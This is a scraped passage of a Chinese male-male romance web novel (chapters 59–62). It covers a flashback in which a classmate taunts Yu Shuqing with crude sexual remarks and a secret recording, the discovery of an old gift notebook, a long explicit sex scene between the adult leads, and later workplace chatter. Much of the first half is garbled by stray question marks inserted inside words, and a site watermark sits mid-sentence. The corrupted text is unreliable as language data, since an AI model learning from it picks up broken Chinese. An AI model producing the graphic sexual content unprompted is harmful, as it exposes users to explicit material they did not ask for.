“还真是你,”郁书?青背靠着墙,死死地盯着对方的眼睛,“你疯了?吗,你在做什么?” “……凭什么?” 高元脖颈上的青筋直跳:“凭什么他能?追你,我就不能??” 这种场合,不能?继续刺激对方,郁书?青小心翼翼地往门?口移动,没有接话。 高元拿开手,额上已经出现一大块红肿,他像是憋了?许久突然爆发,一把扯过?郁书?青的胳膊:“来,喜欢徐矿是吧,我让你听听他是什么货色!” 手机被粗暴地掏出,按下播放键,应该是偷录的音频,电流声很明显,而那带着笑意?的声音,也能?清晰地辨认出。 “郁书?青,当?然只能?我来搞定啊。” “笑什么笑,看?不起我?” “等着,早晚有一天我让他哭着求我……” 郁书?青被拽得踉跄,脑海里嗡嗡作响,最后两个字太过?模糊,判断不出,但高元之前的话突兀地出现在耳畔。 【他说,早晚有一天把你追到?手,让你哭着求他草-你。】 音频很短,又开始重复播放,高元疼得龇牙咧嘴,还不忘继续补充:“我说的没错吧,现在你可是亲耳听见了?,所以郁书?青,你现在是觉得恶心,还是迫不及待地想要他草-你呢?” 他凑近,还是那个黏糊的声音。 “男人之间是怎么做的……要不要我教你啊?” 暖气?似乎坏了?,房间里好冷。 郁书?青猛地推开高元,拉开门?,头也不回地冲了?出去。 回到?家的第一件事,就是去卫生?间呕吐。 哪怕到?了?晚上,见到?徐矿的瞬间,还是忍不住地难受。 “滚。” ——不要见我。 “我觉得你很恶心。” ——喜欢上你的我,也很恶心。 外面慢慢地下雪了?,风吹得冷,徐矿的语调也跟着冷下来:“有话好好说,不要这个样子生?气?。” 该怎么说? 真的要撕破这一层薄薄的纸,露出里面不堪的真相吗,郁书?青变成了?胆小鬼,他甚至都不敢抬头看?徐矿一眼,而是转身跑进外面的雪里,如同?投身一片静谧的湖。 被拉住的瞬间,才崩溃地叫了?一声。 “你能?不能?不要追我!” 年龄太小了?,完全不知道该怎么处理,这种悸动太陌生?,无论是身体还是心灵,郁书?青罕见地开始笨拙,他变成了?胆小鬼,本能?地想要逃离。 还不如和以前那样呢。 彼此?讨厌,维持表面的友情就好,他后悔死了?,干嘛要去招惹徐矿,为什么会发现对方不羁的外表下,那颗细腻而柔软的心,太烫了?,烫得他接不住,而更可怕的是,是否因为自己?的一厢情愿,而忽略了?真实的徐矿? 徐矿曾经很讨厌他的。 郁书?青不是对手,招架不住,鼻头被雪冻得通红,什么都不会说了?,就站在纷纷扬扬的大雪里,反复说,我讨厌你,我从小就不喜欢你。 他想保护自己?,他把人往外推。 可徐矿脱下自己?的外套,裹住了?郁书?青。 “你没听到?吗?” ——我一直在骂你啊! “那、那你还……” ——那你还要追我,甚至说出一些下流的话。 徐矿很无所谓的样子:“郁小咪,你怎么翻来覆去就是这一句,要不要我教你啊……” 他讲这句话的时候,并没有多想。 但是郁书?青像是被烫到?,突然扑进了?徐矿的怀里,狠狠地咬住了?他的肩。 雪落满地,似碎玉声- “不行?,” 郁书?青摇头:“别的我还是想不起来。” 就记得一个笔记本了?。 包括王亮程说,有个男生?死缠烂打地追他,给他造成了?很大的困扰,身为一个老师,都直接用人渣这个词来形容了?,着实严重。 可郁书?青完全没有印象。 徐矿拿着那个笔记本,一脸迷茫。 “你是说,上面的照片是玫瑰?” 郁书?青确定道:“嗯,虽然不知道什么原因,但我的确种了?一株玫瑰。” 即使?是失忆后,他也把这个笔记本好好保存了?,放在自己?书?柜的最下面。 “之后打开看?过?吗?” “没有。” “为什么?” “很奇怪,会觉得心痛。” 他俩都坐在地上,书?房里没有铺地毯,是洁净的木质地面,屋里暖气?开的足,两人已经换上了?薄薄的棉质睡衣,郁书?青垂着头,露出脖颈后面一小片肌肤,不知为什么,徐矿恍惚间觉得,这样的郁书?青,很脆弱。 “怎么会心痛呢,”他拉起郁书?青的手,“小可怜,我给你揉揉。” 郁书?青笑了?:“少来。” 徐矿把对方的手完全包裹住,笔记本还搁在他的腿上,随手翻看?着:“当?初我没认真看?,因为你没写字啊,就是些照片和图画而已……并且这是玫瑰吗,好丑。” 干巴巴的枝条,瘦削极了?,稀拉拉地耷着叶子。 “就是玫瑰,”郁书?青不服气?,“我记得很清楚。” 徐矿捏了?下他的嘴巴:“就记得是玫瑰了?,却?把为什么种,和当?初为什么生?气?的原因都给忘了?,好端端的,干嘛要弄这样的手账本?” 郁书?青又不是细腻的性子。 “谁知道,”郁书?青随口接话,“可能?是当?时有一些理由……哎?” 泛黄的书?页翻开,两人同?时愣住。 徐矿手欠,这会儿把笔记本翻来覆去的看?,最终无意?地打开了?真正的扉页——被夹在封皮套的侧面,不注意?都不会发现,而上面的字,经历了?十年的时间,再次出现在眼前。 字迹工整,能?感觉到?当?年青涩的稚气?,是一笔一划写出来的—— “送给徐矿,祝你生?日快乐,天天开心。” 屋里是漫长的沉默。 不,或许说是傻了?更为合适。 郁书?青的眼睛睁得很大,不可思议地看?着那行?字,而徐矿,在短暂的呆滞后,已经紧张到?满地乱爬,话都说不囫囵。 “我草,这个笔记本是送给我的?” 他站起来,又坐回去,使?劲儿挠了?挠自己?的头发:“不对,我当?初没看?见这一页啊!” 郁书?青还傻着,没吭声。 徐矿重新站起来,在屋里来来回回地踱着步子。 “等等,这个笔记本是送给我的?也就是说,玫瑰也是给我种的?” 他怔在原地,感觉自己?也被传染了?失忆,像是忘记了?一些很重要的东西,可是,另一种更为恐惧的情绪浮现,徐矿打了?个哆嗦,连滚带爬地蹿到?郁书?青面前,双手捧起笔记本,目光虔诚。 他想起自己?之前的评价。 说这植物好丑,养得也不怎么样。 徐矿的指尖微微颤抖,指着泛黄的照片,语气?坚定。 “真漂亮的花。” “你看?这杆,多直。” “还有这叶子,真绿。” 第60章 第 60 章 郁书青难得地睡了一下午。 困, 脑子昏沉,发现那?个笔记本后他?没说什么,只?是?轻轻蹙眉, 思考了一会儿后, 就说自己有点头痛, 想睡觉。 前几天没和徐矿一起住, 两人晚上都没睡太好,这?会儿从母校回来, 可能沾染了太多旧日的气息, 浑身没有一点儿力气, 躺在床上就直接睡死过去?。 醒来的时候, 都已经到了晚上。 屋里没开灯,黑乎乎的,郁书青刚睁开眼睛, 就被?吓得彻底惊醒, 噌地一下坐了起来:“你在干什么?” 徐矿这?才停下, 结结巴巴的:“……没、没啊。” 郁书青惊魂未定:“什么叫没, 你为?什么在床上爬?” 任谁一睁眼看到床上有人在阴暗爬行, 都会被?吓一跳吧! 徐矿乖巧坐好,垂着头,没敢吭声了。 没错,他?的确在爬。 是?真的阴暗爬行。 完全睡不着, 脑子里翻来覆去?的什么都有, 可又?不能给郁书青叫起来问清楚,他?躺在旁边, 心里乱糟糟的,生生捱到了晚上, 旁边的呼吸依然?均匀绵长,睡得那?叫一个香,徐矿绝望地坐起来,低头去?看郁书青的脸。 越看越顺眼。 喜欢死了。 说不上什么心态,徐矿突然?很想围着郁书青爬一圈,仿佛他?是?有着长尾巴的雄型动物,能通过这?种方式来确定领地,留下属于自己的气息,柔软的床褥轻微陷下,他?悄咪咪地往床尾移动身体,顺手还捏了下对方的脚腕,要不是?爬吵醒郁书青,真恨不得能够轻轻咬一口。 爬完回来后,心里还是?乱得很,只?模模糊糊地想起了一件事。 大概是?初三那?年,有一个土味梗,说你问我喜欢什么花,当然?是?两种,一种叫有钱花,一种叫随便花。 郁书青,似乎的确问过他?这?个问题。 他?当时怎么说来着? 好像说,他?要属于自己的一朵花。 也就是?不仅有钱花,还随便花。 夺快乐啊! 因为?当时,郁书青问他?想要什么,徐矿实?在答不出来,总不能说想这?样待在你身边吧,于是?就随口开了句玩笑?话。 但?是?那?个梗,似乎没能完全地转达给对方。 黑夜里,爬行着的徐矿,冷汗都要下来了。 “……神经病。” 郁书青面无表情地开口:“真的想爬的话,去?外面客厅,随便你怎么发疯。” 徐矿老老实?实?地坐在床上:“不要。” 他?说完就抬眸,目光里是?一种说不清道不明的复杂情绪,声音很低。 “我想亲你。” 藏蓝色的床褥发出轻微的“吱呀”声,徐矿一点点地向郁书青逼近,呼吸变重。 郁书青已经坐起来了,本能地向后倾斜了下身体:“我……” 鼻尖即将碰触,睫毛开始颤抖。 徐矿的动作停下,稍微偏了偏头:“害羞?” “不是?,”郁书青喉结滚动,“就是?心里的感觉很奇怪。” 尤其是?看到那?个笔记本后。 徐矿亲了他?的嘴角:“别怕。” 周围好安静,一点衣料摩擦的声音都很清晰,郁书青喜欢穿纯棉睡衣,觉得睡觉舒服,徐矿花哨点,喜欢那?种丝质绸缎的料子,一拉,就能悄然?从肩头滑落。 但?是?这?一点的声音,并不是?来自于衣料堆积地面。 而是?徐矿一把掀起被?子,抬手盖在两人的头顶—— 屋里本来就没开灯,只?有窗外的光线增加明亮,可能是?闪烁的繁星,是?半隐的月亮,也可能来自灯火通明的高楼大厦,可随着徐矿的动作,郁书青的视野被?遮盖,只?能感觉到唇上的滚烫。 薄薄的被?子下,他?们在接吻。 徐矿抱着他?,一寸寸地摸着郁书青的双手,把因为?紧张而蜷曲的手指打开,再强势地挤入指缝,明明都接吻那?么多次了,但?这?次的心跳声好大,郁书青坐在徐矿的怀里,面对面,拉着手亲吻彼此。 被?遮掩住,呼吸难免不畅,温度也格外增高。 “唔……” 郁书青不太舒服地动了下,立马被?徐矿抓紧手腕:“宝贝,别蹭。” “我没有!” 郁书青的耳根都要红了,伸手去?拽被?子:“好热,拿开吧。” 徐矿笑?了:“等一下。” 他?把脸埋在郁书青的颈窝里:“记得那?天我们参加婚礼,你躲在窗帘后面吗?” 当然?,郁书青记得自己喝了点酒,正在那?儿吃蓝莓,徐矿不由分说地掀开洁白的窗纱,低头吻他?。 “我当时就觉得,你好像我的新娘。” “而我,又?走了好远的路才见到你。” 郁书青的手还被?握着,被?子里太黑了,完全看不到彼此,但?莫名地很安心,觉得不会被?任何人打扰和伤害,就像小时候躲进?储藏间的纸箱里,闻着干燥的纸皮味儿,仿佛被?人完整地抱在怀里。 他?也笑?了:“那你运气还真好。” “是?啊,”徐矿虔诚地去?吻他?的眼角,“……小咪,我想做,好吗?” 被?子掀开了,郁书青被?人扑着倒在床上,笑?得都弯起了腰:“好,你别挠我……哈哈哈哈!” 徐矿抱着他?:“我就是?想闻闻你,你别笑?,正要做准备工作呢!” 他?不知道是?自己的哪句话,还是?什么动作挠到了对方的笑?点,反正郁书青现在脸都笑?红了,一直捂着肚子躲他?,徐矿没办法,无奈地坐在床上看对方,过了好一会儿,郁书青才不笑?了,坐起来,使?劲儿揉了揉自己的眼睛。 “你知道,我刚才在想什么吗?” “不知道。” 郁书青很认真:“我在想,说不定以前十几岁的时候,我情窦初开,真的喜欢你。” 徐矿摸了摸他?的脸:“天哪。” “如果是?真的,你会怎么想?” “会觉得,好幸运啊……怎么什么好事都让我占了呢?” 这?次,是?两人同时向对方凑近,吻也深入许多,可还是?不够,郁书青被?吻得向后仰起脖子,恍惚觉得,自己仿佛要被?吃掉,他?的下巴被?捏住,徐矿的身体完全压过来,另只?手按在郁书青的后背上,把睡衣都揉出褶皱。 “哈、哈啊……” 郁书青费力地挣脱了下:“你先把手拿出来……” 徐矿默不作声。 郁书青的脸涨得很红,有时候他?实?在不理解徐矿,做就做了,也不是?什么大不了的事,成年人很正常的行为?罢了,关键是?,有必要这?么久么?他?不知道别人都是?怎么准备的,反正徐矿这?人比较变态,经常故意拉长时间,看似为?了保护,其实?是?在折磨,郁书青伏在徐矿的肩上,再次咬上那?泛白的疤痕:“……唔。” “还痛吗?” “不痛,已经够了……” 徐矿咬他?的耳朵:“心呢?” 这?人本就身材高大,肩宽腿长,手也更?是?格外修长,郁书青忍不住破口大骂:“你能不能别这?么非主流!” 徐矿这?才把手拿开,拇指和食指搓了下,拉出半透明的丝线。 用的是?水蜜桃口味。 郁书青的脸埋在枕头上,又?骂了句变态。 徐矿亲他?的肩胛骨,呼出的气很烫:“不喜欢变态吗?” 郁书青说不出话,眼前阵阵发黑。 “其实?,我已经很克制了,”徐矿咬住那?泛红的耳垂,“现在的行为?算变态吗,如果真的可以的话,我想从你的手指尖舌忝到尾巴根,睡觉都连着,休想让我走开。” 快到深夜,月亮都睡着了。 郁书青背对着他?,两手撑在墙上,站不住:“可以了……” 徐矿语调还慢悠悠的:“不够。” 郁书青咬牙:“都到哪儿了……” “这?就算深吗,”徐矿握着他?的胯-骨,“我都恨不得戳到你嗓子眼。” 草。 郁书青受不了,扭头瞪他?:“你有病吧!” 哥们,时间太长也是?一种病啊,不用憋着自己的! 徐矿捞起他?的膝窝,打开更?大:“你知道吗,有件事我一直非常遗憾。” 十年前的大雪里,他?邀请了自己最好的朋友——可能那?个时候,心里已经有些?萌生的情愫,但?是?尚未认清,就天各一方,再也没有合适的机会重逢,当时的郁书青咬了他?的肩,就走进?纷纷扬扬的洁白里,没有回头看一眼。 其实?,那?天是?他?的生日啊。 无论是?笔记本还是?玫瑰花,徐矿都没有得到。 他?曾经调侃过郁书青,说铁树一般的你直到二?十五岁,才勉强因为?我的脸,而心动了那?么一下吗? 现在想来,可能自己才是?那?个做错题的人。 郁书青已经撑不住了,完全被?自己拢在怀里,打着哆-嗦,瞳仁微微上翻,浑身的皮肤都像被?泼上红酒,泛着珠光般的粉意。 让他?想起了,用来代替生日蜡烛的那?朵低温玫瑰。 这?样说来,两人阴差阳错,不都送过对方玫瑰吗? “我不管,”徐矿发着狠,“你喜欢我,你很早就喜欢我。” 郁书青反手抓他?的头发:“……闭嘴。” 床上,地板,沙发,这?会儿已经到了浴室。 镜面呈现两人的身影。 “怎么办啊,”徐矿喃喃道,“郁书青,我也有点心痛了。” 郁书青完全没有力气搭理对方,视线失焦,连自己的模样都看不到。 也幸好他?看不到。 徐矿倒是?看了个清清楚楚,他?舍不得放开,又?想要给人欺负得更?狠,郁书青的眼泪已经往下掉了,顺着脸颊滑落在锁骨上,被?他?细细地吻干净,花洒被?打开了,郁书青终于清醒了些?,又?开始骂人,骂他?是?狗,骂他?不要脸。 骂得徐矿神清气爽。 不行,现在不是?觉得郁书青很可爱的时候。 他?给人再次捞回来,按在镜子前,用手托住对方的下巴,强迫看向前方。 郁书青昏昏沉沉的大脑,彻底清醒,瞳孔紧缩的刹那?,身体也不由自主地抖了下。 “嘶……” 徐矿头皮发麻。 他?嗓子也哑了,使?劲儿控制住郁书青作乱的手腕。 “小咪,那?天的你没有对我说生日快乐,说,我现在要听。” 郁书青拼命摇头,睫毛都挂着泪:“不要、不要……” “说给我听好不好,说了就放过你。” 徐矿又?去?亲他?,哄人的声音好温柔,郁书青大脑一片空白,可又?挣脱不开,只?能断断续续地发出沙哑的声音。 “生、生日快乐……” “抱歉宝贝,我没听清。” 花洒开得很大,像是?突如其来的暴雨倾盆,哗啦啦地冲刷在地面上,汇聚成蜿蜒的小河。 他?再也受不了,破罐破摔地叫出声:“徐矿……生、生日快乐!” 暴风雨终于停歇了,连绵的树梢得以歇息,只?是?叶片都被?雨水浸透,沉重地向下耷拉,微微晃动。 徐矿捧起郁书青的脸,安静地亲吻他?。 “谢谢你,小咪。” “我也爱你。” 60-70 第61章 第 61 章 郁书青面无表情地躺在床上。 下一秒, 视线所及的地方,出现?了一张笑得很荡漾的脸。 郁书青毫不犹豫地翻了个身,而徐矿也立刻跟着躺下, 和人家对视。 三秒后, 郁书青又翻身, 徐矿再翻过来—— 郁书青闭上了眼睛。 耳畔环绕着徐矿极为难听的歌声。 “鸳鸯双栖蝶双飞, 满园春色惹人醉!” 他一边唱,还要一边去亲郁书青的脸:“你睁开眼睛看看我, 我不信你两眼空空——” 昨天?从下午折腾到凌晨, 早上刚醒, 又被徐矿拖去浴室来了一发, 到了最后,郁书青的心态已经是,随便?吧, 爱咋咋吧, 要是徐矿真的能给他干-死?在床上, 这只?傻狗也得就地偿命。 跟疯了似的。 “走开, ”他伸手去推徐矿的脸, “拿远点。” 徐矿继续蹭:“不要,我才不要离开老公!” 郁书青瞪他:“滚,不许这样叫我。” “那叫你什么,兄弟吗?” 徐矿强行?给郁书青翻过来, 在床上摆正了:“你这人讲不讲道?理, 我生下来就没有老公,现?在好?不容易能有一个这么温暖的怀抱, 凭什么让我走,还不让我叫?再说?了, 你天?天?喝牛奶给自己喝得皮肤那么白,我也想要,所以我就跟着喝点牛奶只?是不小心亲到了你的奈,为了感?知味道?所以多吃了那么一会儿,兄弟真的抱歉,你不会怪我吧?” 郁书青又闭上了眼睛。 “老公,原来我们曾经真的是好?兄弟,好?兄弟间送点玫瑰花怎么了,亲个嘴又怎么了,你让我摸摸又怎么了?” “你的腿真漂亮啊,一个男人,也不是特别高,为什么腿这么好?看,能不能再让我看看啊?” “兄弟,你好?香。” “兄弟,亲两口真的没事的。” “兄弟,香草……” 郁书青内心一片死?寂。 他倒是想跳起来给徐矿来一拳,但真的太累了,浑身上下酸-痛不堪,连上厕所都得让人家抱着去,所有的羞-耻心都不作数了,没办法,他腿软得站不住,感?觉自己像古代故事中被狐狸精吸了阳气的书生,口渴,乏累,指头?都抬不起来,完全被掏空。 徐矿特么的倒是油光水滑,神采奕奕,满脸都是爱情的滋润。 狐狸精饿了多年,终于得以饱餐一顿,吃完还吧唧嘴,绕着郁书青的耳朵喋喋不休,说?好?喜欢抱着你上厕所,以后都要我抱着去,你也喜欢吧,对不对?老公你怎么又不说?话了呢! 徐矿重新趴在床上,伸手去撩郁书青的眼皮,强行?给人开机,郁书青实在不想动弹,就任由?他摆布,那混账玩意却玩上了瘾,指尖轻轻地按在郁书青的眼睛上,翻开,阖上,长?长?的睫毛不受控地抖着,徐矿看了会,凑到郁书青耳边,说?了句话。 很不要脸的一句话。 郁书青的眼睛,唰地一下睁开了。 徐矿也噌地一下开了屏,扭捏道?:“老公……” “砰!” 郁书青以闪电般速度蹿起来,脑袋直接撞在了徐矿的下巴上,徐矿本来就张着嘴撒娇,这下咬到了舌头?,几乎是电影里的慢动作播放一般,整个人被撞得快要飞起,嗷一嗓子倒下。 “痛,好?痛……” 他捂着嘴,满眼的泪:“你把我的舌头?弄伤了。” 郁书青深吸一口气,掀开被子,缓缓下床,脚尖刚接触地面的刹那,还是不免踉跄了一下。 而徐矿立马从后面搀扶住他,委屈道?:“不再躺一会吗?” 郁书青:“滚。” “你打我,你坏,我扶着你,我好?。” 郁书青懒得和这森*晚*整*理种发神经的人一般见识,自从昨晚知道?那朵玫瑰是送给自己之?后,徐矿整个人都是极为亢奋的状态,到现?在还精神抖擞,眼睛亮晶晶的模样。 “所以,”徐矿弯下腰,像对待一片羽毛似的把郁书青抱起来,“你要去哪儿,我带你好?不好??” 睡前,他给郁书青换过干净的睡衣,这会儿随着动作散开了点,露出皮肤上的痕迹,徐矿也有些?后悔,觉得是不是做得太过火,但他真的忍不住,完全控制不住地去占有对方,仿佛只?要用力,就能跋涉过时间的漫长?距离,去亲一亲当年的小孩。 “我饿了,”郁书青倒是没挣扎,“要吃点东西。” 徐矿抱着他往客厅走:“准备过了,都是你爱吃的……先洗漱好?不好??” 郁书青还是懒洋洋的样子,由?着徐矿给他洗脸刷牙,理直气壮地被人伺候,给脸上涂抹保湿霜的时候也闭着眼睛,徐矿把膏体擦开,左看右看,满意得不行?,干脆捏着郁书青的下巴,凑过去亲了口。 “水蜜桃味儿的,”他的拇指按在下唇的那颗小痣上,“闻出来了吗?” 坏心眼,好?几瓶护肤霜,偏偏要拿和昨晚味道?一样的。 郁书青却没有大发雷霆,很温顺地垂着睫毛,发出若有似无的哼声,甚至还微微张开了嘴。 徐矿大喜。 他迫不及待地伸出舌-尖,还没触及对方温热的口腔,就疼得倒抽一口冷气,捂着嘴后退。 郁书青毫不客气,趁这个机会,咬了下去。 还在刚才伤口的位置。 这下,徐矿终于老实了,只?是趁着吃饭的功夫,给郁书青连续发了好几个舌头狂甩小屁-股的表情包,郁书青把筷子放下:“你正常点。” 徐矿:“我挺正常的啊。” 他没有把郁书青关在屋子里啃三天?三夜,已经很正常了好?吗! “还疼吗,”郁书青表情有点无奈,“我看看。” 他们坐在餐桌两侧,早餐结束,桌面已经收拾干净,放了两杯刚煮好?的咖啡,花瓶里插的是郁金香,安静美丽地绽放,徐矿神情有一丝怔然?,随即,就是莫名的羞赧,他站起来,两手按在餐桌上,微微张开嘴。 没有流血那么夸张,就是有些?红肿,郁书青看了两眼,放下心来:“你不要吃太烫的。” 徐矿乖巧点头?:“好?。” 重新坐回去,午后的阳光倾斜在客厅里,两人居然?一时无言。 还是徐矿先挑起的话头?:“我……” “停,” 郁书青制止了他:“先不要说?,再等等看。” 他当然?知道?徐矿要说?什么。 事实上,昨晚亲密的时候,他已经听到对方沙哑的呢喃。 “小咪,我们恋爱吧。” “好?吗,我们现?在就在一起好?不好??” 郁书青伏在枕头?上,没有回答。 果然?,徐矿的眉头?明显皱了下,神情也变得严肃。 “不用急着说?什么,”郁书青很平静,“我也不想这么轻易地给出答复,有些?事还没有结果,也没有搞明白,所以我们现?在……” 他沉默了下。 “保持这样,就挺好?的。” 徐矿不置可否。 “当然?,”郁书青继续道?,“你要是觉得不公平,或者有别的想法也可以说?,毕竟我们的婚姻是交易,是基于协议而来的,我认为在这种混乱的时刻,不要谈论?感?情比较好?。” 咖啡还冒着袅袅的烟,带来苦涩的香味。 但仔细闻,还是能嗅到隐约的水蜜桃味道?。 郁书青的手放在杯侧,虚虚地拢着:“可以吗?” 已经做过那么亲热的事了,这会儿还要用这种冷淡的口吻,从昨天?到现?在,徐矿几乎就像一只?快乐的鸟,幸福得整个人都在冒泡泡。 杯子的热度,逐渐降下了。 就在郁书青忍不住要打破平静时,徐矿才突然?开口。 “可以。” 他伸手,温柔地放在郁书青的手背上:“只?要你开心,我不催你的。” 郁书青的眼神躲闪了下。 “慢一点没关系,走错路也没事,因为只?要你肯往前走,肯定能到达目的地。” 他给郁书青的手翻过来,掌心相贴,郁书青的视线落在彼此的手上,出乎意料的事,徐矿的手上其实有不少的茧子,倒不是那种干惯力气活的粗糙,而是细碎的伤疤,和磨出来的薄茧。 温暖而干燥。 他就用这样一只?手,握住郁书青:“想做什么就去吧,我陪着你。” 郁书青生硬地别过头?:“没有,我只?是觉得……太快了。” “快吗?” 徐矿轻笑一声:“我们从小就认识,一块儿长?得十五岁,说?不定你情窦初开就是我,晚上做梦也因为我……” 郁书青忍不住:“能不能别自恋?” “对不起,”他把郁书青的手完全包住,往自己这边拉了下,“可能我推己及人了,把自己做过的事,一股脑地安在了你的头?上。” 等等。 郁书青愣了下,迟疑地眨了几下眼睛:“什么梦?” “你没做过吗,男孩子的那种。” 徐矿顿了顿,脸颊浮起一点红意:“如果我说?了,你会揍我吗?” 郁书青摇头?:“不会。” 徐矿犹犹豫豫的:“算了,还是不说?了。” 郁书青:“?” 他使劲儿把手抽出来,站起来,两手拍在桌子上,凶神恶煞的模样:“说?!” 徐矿目光飘忽。 “咳,就是十几岁进入青春期的时候,会做一些?梦,然?后醒来就得洗床单嘛。” 真是的,两个二十好?几的人说?到这里,还是觉得难为情。 “其实我第一次做这种梦,是因为梦见你了。” 郁书青墩地一下,坐回去,不吱声了。 “有一次你不是在我家睡着了,”徐矿支支吾吾的,“我就跟着躺旁边,想着打个盹就好?……结果,你小猪似的往我怀里拱,我没办法,就给你抱着睡了。” 郁书青又站起来,眼睛瞪得很大:“你弄我身上了?” “没有,”徐矿慌忙解释,“是晚上,晚上我又梦见这回事了!中午好?好?的,什么都没发生!” 醒来的时候,徐矿吓出一身冷汗。 不对啊。 他陷入思考。 不是没在同龄人中听过这些?东西,徐家家风开明,从小也接受过正确的性-教育,所以徐矿对于自己的变化,是有心理准备的。 关键是……他为什么会梦见郁书青呢? 深夜里,徐矿捂着自己的脸,灵魂都受到了冲击。 因为梦里的郁书青,好?乖。 好?可爱。 不过没关系,徐矿很快就想通了,人一辈子这么长?,中间偶尔突发恶疾,对自己的兄弟产生些?不正常的念头?,也很正常。 做梦而已! 都是兄弟,一定不会介意的! 更何况,他又没有梦见别的兄弟,只?梦见郁书青,说?明什么,说?明他们关系好?啊! “现?在想想,其实那个时候算情窦初开吧。” 徐矿干巴巴地继续:“但我真没意识到,我想着可能就是偶发事件,大不了喝点中药调理下,很快就好?了。” 郁书青面无表情地看着他,没忍住吐槽:“谁会十五岁的时候,就想着自己朋友做这种梦啊?” “呸,恶俗。” 第62章 第 62 章 “郁总?” 白可心把?一沓文件放在桌上:“您脸色不太好。” 郁书青单手撑在额头上, 右手握着支金色的钢笔,目光沉静,看上去和往日并没有什么两样, 无论是门童还是保安, 抑或是早上和他打招呼的经理, 都没看出他的异状。 只有白可心察觉到?了?。 在轻微的凝滞后, 郁书青流利地在文件最下方签字:“还好。” 白可心拧着眉头:“是没休息好吗?” “没有,”郁书青把?文件递过去, “你看错了?。” 在公司里他们不是兄妹, 郁书青的话就是指令, 白可心也没再说多什么, 继续自己的工作,只有当下午茶歇的时候,才抓紧时间拿出手机, 顺着联系人页面往下拉, 找到?了?一个很特殊的头像。 因为, 实在是太绿了?。 她?含蓄地跟徐矿提过这?事, 说嫂子哥, 你这?头像是不是有点不吉利了?? 徐矿嗤之以鼻,说你懂什么?别?拿庸俗的刻板印象来侮辱我美丽的极光。 白可心也就闭嘴,其实,最早徐矿头像不是这?样啊, 她?记得是个皑皑雪山的风景图, 还挺好看。 【好运小心心:嫂子哥!】 对面的回复很快。 【矿矿子:怎么了??】 他俩之间没怎么聊过,就是有时候白可心找不着郁书青, 就给徐矿联系,然后得到?了?对方还在睡觉的信息, 白可心也挺无奈的,说你对我哥悠着点,别?闪着腰,徐矿的态度倒是可以,满口?答应下来。 然后等郁书青醒了?,拿给对方看,说我都没舍得你在上面动?,但我感觉你腰挺好的,多有劲啊。 郁书青懒得看这?俩神经的对话,往往一扭头,扯过被子继续睡。 所以聊天记录的最后一条,还是上周的事。 【好运小心心:我怎么感觉我哥今天不在状态啊,你俩吵架了??】 白可心靠在墙壁上,手里还端着杯冰美式,盯着聊天框最上面那个“正在输入中”半天,也没收到?信息,干脆把?咖啡放下,准备再去加点奶,结果刚一转身,手机屏就亮了?。 【矿矿子:吵架,怎么可能??我俩在一起都是他单方面殴打我,从来不会吵架,那是多幼稚的游戏,像我们这?种情?比金坚双向奔赴的不可能?吵架,再说了?,谁舍得和小咪吵架,我这?么贤良淑德守男德哪怕天王老子来了?也不可能?和小咪吵架,毕竟你要是知道我老公是谁,也只会觉得我命好。】 【好运小心心:stop——】 她?默默地翻了?个白眼,给手机倒扣在桌面上,忘记从什么时候开?始,徐矿突然跟换了?个人似的,开?始张口?闭口?都是我们家小咪,肉麻得人鸡皮疙瘩掉一地,和之前那个嘴硬的模样完全不一样,她?曾怀疑是不是迫于自个儿表哥的压迫,这?人破防,干脆开?始走甜甜蜜蜜路线,但现在,似乎又不太像。 因为,她?哥的态度变了?。 以前是爱答不理,静静地看你发癫的平静感,但是现在,她?却觉得郁书青有点逃避。 具体为啥,白可心说不上来。 老师也没教啊。 直到?下班的时候,车内只有他们俩人,熟悉的空间和流淌的音乐驱散了?班味,也除去了?那么点工作上的不近人情?,这?会儿的郁书青,不是她?的老板,只是比她?大几岁的哥哥而?已。 “这?什么歌?” 沉浸在情?绪里的白可心一愣:“叫《你的眼神》,很老的歌了?。” 郁书青微阖着眼,有些倦意:“哦……” “喜欢吗?” 白可心稍微调大了?点音量:“我最近挺喜欢上世纪的老歌,有种复古的味儿。” 岁月沉淀过的声音传来,像是一把?很久的琴,在泛着灰尘的阁楼上被拉动?了?弦,郁书青不喜欢开?车,他喜欢偏头看向外面的风景,无论是白天婆娑的树枝,还是夜晚飞驰而?过仿若流星的路灯,都能?让他获得宁静。 歌曲依然在播放。 “虽然不言不语,叫人难忘记。” “那是你的眼神,明亮又美丽,啊有情?天地,我满心欢喜。” 郁书青几不可闻地叹了?口?气?,觉得自己最近真的矫情?起来,居然被一首歌所感染,听得心里酸酸皱皱,挺不是滋味的。 “哥,”白可心转动?方向盘,“你跟嫂子哥还好吗?” 时间过去不少,已经到?冬天了?,郁书青也懒得纠正白可心的称呼问题:“嗯。” 他家人对徐矿都挺满意的。 而?自从订婚后,爷爷的身体也奇迹般的好了?一些,居然能?认出除了?郁雪玲外的其他人了?,弄得老太太哭得不停,好久才给哄下来,而?徐矿着实嘴甜,亲自过去陪着,给人递手帕喂水果,伺候得到?位。 郁书青不得不承认,在对待家人这?方面,徐矿比他出色许多。 连带着都不催促他们了?,原本说订婚后一个月就要办正式婚宴,郁雪玲心态跟着平和,说既然你俩都领证了?,那就是真的结婚,婚宴的事不能?马虎,咱多筹备着,也听你们小辈的意见,是去国?外办还是—— 当时,徐矿偷偷在桌子下捏了捏郁书青的手,才笑眯眯地讲,奶奶,这?个等我和小咪商量吧。 郁书青低头吃饭,没敢插话。 因为他俩压根没领证。 事实上,自从那次发觉笔记本上的字迹后,他就有点无意识地躲着徐矿了?。 “那干嘛他不接送你啊,”白可心干脆挑明,“以前都是他送你上下班,这?俩星期,就换成了?我。” 郁书青瞥她?一眼:“那我让司机来。” “别?呀,”白可心笑道,“我就是问问。” 郁书青又把?眼睛闭上了?。 其实,也没什么原因。 不过是他和徐矿这?大半个月,就没住到?一块儿了?。 车辆停下时,郁书青沉吟片刻,还是开?口?解释:“你别?多想,他有事出去了?,要画画。” 白可心唰地一下扭头:“画画?” “嗯,”郁书青解开?安全带,“要办一个画展,所以半个月前就坐飞机走了?。” “好家伙,怪不得你脸色这?么差,没睡好吗?” “不,我睡得很好。” “真的吗,我不信。” 白可心原本还凑过去想继续八卦几句,说哥虽然咱每天都见但你现在怎么这?么拉了?,老公不在家就睡不着吗,但和对方视线接触的刹那,还是不免打了?个哆嗦,悄然移开?目光。 车门关闭时,她?没忍住:“哥,明天周末,你多休息啊!” 郁书青已经进了?电梯,看到?趴在车窗上的白可心,扬起嘴角:“放心吧。” 电梯上行。 到?家后,郁书青单手扯下领带,另只手拿出手机,熟稔地点进聊天页面,点开?小红点。 堆积的消息已经有二十多条了?。 全部出自于一个绿色的头像。 